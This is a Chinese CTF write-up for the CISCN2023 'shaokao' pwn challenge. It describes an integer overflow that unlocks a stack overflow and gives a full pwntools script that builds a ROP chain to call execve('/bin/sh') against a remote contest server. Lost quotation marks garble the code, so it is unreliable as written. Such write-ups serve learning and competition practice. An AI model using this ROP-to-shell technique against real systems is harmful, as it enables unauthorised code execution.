烧烤摊儿shaokao[CISCN2023初赛]-ROP

一、保护检查

二、IDA分析

第一眼看下去还以为是菜单堆题,差点就放弃了,毕竟堆真的啥也没学。最后一路审下来,发现是整数溢出+栈溢出构造ROP链。

main函数的功能,其实就是菜单选项功能,和正常的堆题差不多。但是这个有一个比较特别的是变量own,这个变量初始化为0,所以我们一开始是无法进行gaiming()这个函数的。

分析pijiu()函数,其实就是正常的买卖逻辑,但是在这里存在一个整数溢出,可以绕过检测实现money的增加。相类似的是选项2的chuan()函数,其实和pijiu函数的逻辑差别不大。

分析yue()函数,该函数只是输入money变量的值。

分析vip函数,在这里可以看到存在使变量own的值置为1的语句,即money变量值大于100000。这里可以通过上述在pijiu函数中的整数溢出实现money变量的增长。

当我们成功使own变量值为1时,我们便能够进行gaiming()函数。可以观察到,这里存在着栈溢出,scanf函数不能够对输入长度进行限制,所以存在着栈溢出,这里就能够使用通过栈溢出实现相关攻击手法。

三、exp编写

本来一开始通过整数溢出,得到了栈溢出之后,计划着能通过ret2text或者ret2shellcode解决的,查字符串,查函数,越看越不对劲,啊?怎么啥也没有!!!这我怎么打啊!

后面只能硬着头皮猛看怎么构造ROP链去getshell,最后终于出了!

主要的难度就是构造rop链了(大佬的文章说可以直接使用工具生成,但我打的时候是一条一条gadget查的),了解一下syscall函数的调用和64位参数传递的方法,在阅读一下下边的exp吧。这里就不在详细讲述编写的过程了。

四、exp

#!/usr/bin/env python3
# Date: 2023-05-27 09:42:23

from pwn import *

context.terminal = [tmux, splitw, -h]
context.binary = ./shaokao
context.log_level = debug
context.timeout = 5

# io = process(./shaokao)
io = remote(39.107.137.13, 43996)
elf = ELF(./shaokao)


def debug(gdbscript="", stop=False):
    if isinstance(io, process):
        gdb.attach(io, gdbscript=gdbscript)
        if stop:
            pause()

stop = pause
S = pause
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
s   = io.send
sl  = io.sendline
sla = io.sendlineafter
sa  = io.sendafter
slt = io.sendlinethen
st  = io.sendthen
r   = io.recv
rn  = io.recvn
rr  = io.recvregex
ru  = io.recvuntil
ra  = io.recvall
rl  = io.recvline
rs  = io.recvlines
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains
ia  = io.interactive
ic  = io.close
cr  = io.can_recv



sla("> ", b1)
sl(b1)
sla("?
", b-10000)
sla("> ", b4)
# debug("", True)
# 改名
sl(b5)
payload = ba*0x28
payload += p64(0x000000000040a67e)# 0x000000000040a67e : pop rsi ; ret
payload += p64(0x00000000004E60E0)# 0x00000000004E60E0 : @.data
payload += p64(0x0000000000458827)# 0x0000000000458827 : pop rax ; ret
payload += b/bin/shx00	#@.data
payload += p64(0x000000000045af95)# 0x000000000045af95 : mov qword ptr [rsi], rax ; ret
payload += p64(0x000000000040a67e)# 0x000000000040a67e : pop rsi ; ret
payload += p64(0x00000000004E60E8)# 0x00000000004E60E8 : @.data+8
payload += p64(0x0000000000447339)# 0x0000000000447339 : xor rax, rax ; ret
payload += p64(0x000000000045af95)# 0x000000000045af95 : mov qword ptr [rsi], rax ; ret
payload += p64(0x000000000040264f)# 0x000000000040264f : pop rdi ; ret
payload += p64(0x00000000004E60E0)# 0x00000000004E60E0 : @.data
payload += p64(0x000000000040a67e)# 0x000000000040a67e : pop rsi ; ret
payload += p64(0x00000000004E60E8)# 0x00000000004E60E8 : @.data+8
payload += p64(0x00000000004a404b)# 0x00000000004a404b : pop rdx ; pop rbx ; ret
payload += p64(0x00000000004E60E8)# 0x00000000004E60E8 : @.data+8
payload += p64(0x4141414141414141)
payload += p64(0x0000000000447339)# 0x0000000000447339 : xor rax, rax ; ret

for i in range(59):
    payload += p64(0x0000000000496710)# 0x0000000000496710 : add rax, 1 ; ret
    
payload += p64(0x0000000000402404)# 0x0000000000402404 syscall(59, ) rdi,rsi,rdx

sl(payload)
# debug("", True)
ia()
经验分享 程序员 微信小程序 职场和发展